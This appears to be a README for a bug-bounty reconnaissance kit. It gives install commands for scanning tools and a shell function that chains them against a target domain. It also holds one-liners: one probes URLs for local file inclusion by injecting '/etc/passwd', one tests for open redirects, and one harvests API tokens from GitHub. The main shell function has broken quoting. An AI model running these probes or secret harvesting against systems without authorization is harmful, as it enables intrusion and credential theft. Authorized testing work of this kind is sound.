Recon-bugbounty

Simple recon using multiple tools!

If you have Go installed and configured (i.e. with $GOPATH/bin in your $PATH):

Install Assetfinder

▶ go get -u github.com/tomnomnom/assetfinder

Install anew

▶ go get -u github.com/tomnomnom/anew

Install Amass

If you have brew installed if not /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

▶ brew install amass

Install Subfinder

▶ go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Install httpx

▶ go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

Install Aquatone

Download the latest release of Aquatone for your operating system.
Uncompress the zip file and move the aquatone binary to your desired location. You probably want to move it to a location in your $PATH for easier use.

Install Naabu

▶ go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest

Install Subjack

▶ go get github.com/haccer/subjack

Install Nuclei

▶ go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

Install Jaeles

If you have a Go environment, make sure you have Go >= 1.13 with Go Modules enable and run the following command.

▶ GO111MODULE=on go get github.com/jaeles-project/jaeles

Install ffuf

▶ go get -u github.com/ffuf/ffuf You can use dirsearch as well.

▶ pip3 install dirsearch

Download the wordlist ▶ wget "https://raw.githubusercontent.com/hackerspider1/Recon-bugbounty/main/dir.txt"

Enum

Add the following in your .zshrc

enum(){
        mkdir $1
        subfinder -silent -d "$1" -o domains | httpx -silent -o hosts.txt
	osascript \
        -e 'tell application "iTerm2" to tell current window to set newWindow to (create tab with default profile)'\
        -e 'tell application "iTerm2" to tell current session of newWindow to write text "cd '`pwd`' && dirsearch -l hosts.txt -t 20 -x 500 -e asp,aspx,htm,html,gz,tgz,zip,txt,php,pl,tar,action,do --excl\ude-status=301,400,403,500-999"'\
        -e 'tell application "iTerm2" to tell current window to set newWindow to (create tab with default profile)'\
        -e 'tell application "iTerm2" to tell current session of newWindow to write text "echo '$1' | git-hound"'
        -e 'tell application "iTerm2" to tell current window to set newWindow to (create tab with default profile)'\
        -e 'tell application "iTerm2" to tell current session of newWindow to write text "kr scan '$1' -A=apiroutes-210228:20000 -x 10 --ignore-length=34x"'
	-e 'tell application "iTerm2" to tell current window to set newWindow to (create tab with default profile)'\
        -e 'tell application "iTerm2" to tell current session of newWindow to write text "cd '`pwd`' && jaeles scan -s ~/.jaeles/ -U hosts.txt 
        cat domains.txt | aquatone -out screens -scan-timeout 200 -screenshot-timeout 60000 -ports xlarge
        naabu -silent -iL domains.txt > portscan.txt
        subjack -w domains.txt -t 100 -timeout 20 -o subjack_out.txt --ssl -c ~/fingerprints.json
	nuclei -l hosts.txt -t ~/nuclei-templates/ -markdown-export reports
	code reports/
	#for i in $(cat hosts.txt); do ffuf -u $i/FUZZ -w ~/Documents/bugbounty/wordlist/dir.txt -ac -c -e php,txt,asp,html,aspx; done
}

Install Git-hound

Download the latest release of GitHound
Create a ./config.yml or ~/.githound/config.yml with your GitHub username and password. Optionally, include your 2FA OTP seed. See config.example.yml.
If it's your first time using the account on the system, you may receieve an account verification email.

Install Kiterunner

You can download a pre-built copy from (https://github.com/assetnote/kiterunner/releases).

Aemhack

git clone https://github.com/0ang3el/aem-hacker.git
cd aem-hacker
python3 aem_hacker.py -u https://aem.webapp --host your_vps_hostname_ip

Add it to .zshrc

aemhack (){ python3 ~/aem-directory/aem-hacker/aem_hacker.py -u $1 --host $2 }

One-Liner

LFI

lfi () {
gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
}

Open-redirect

open-redirect () {
local LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
}

Githound

githound(){
echo "$1" | git-hound --dig-files --dig-commits --many-results --regex-file key.txt --results-only > api_tokens.txt"
}

Thanks

We use tools which are developed by the following people

OWASP, ProjectDiscovery, Tom Hudson, Tillson Galloway, 0ang3el, Michael Henriksen, Jaeles Project, Lalit

Let me know one-liner owner would like to give credit!!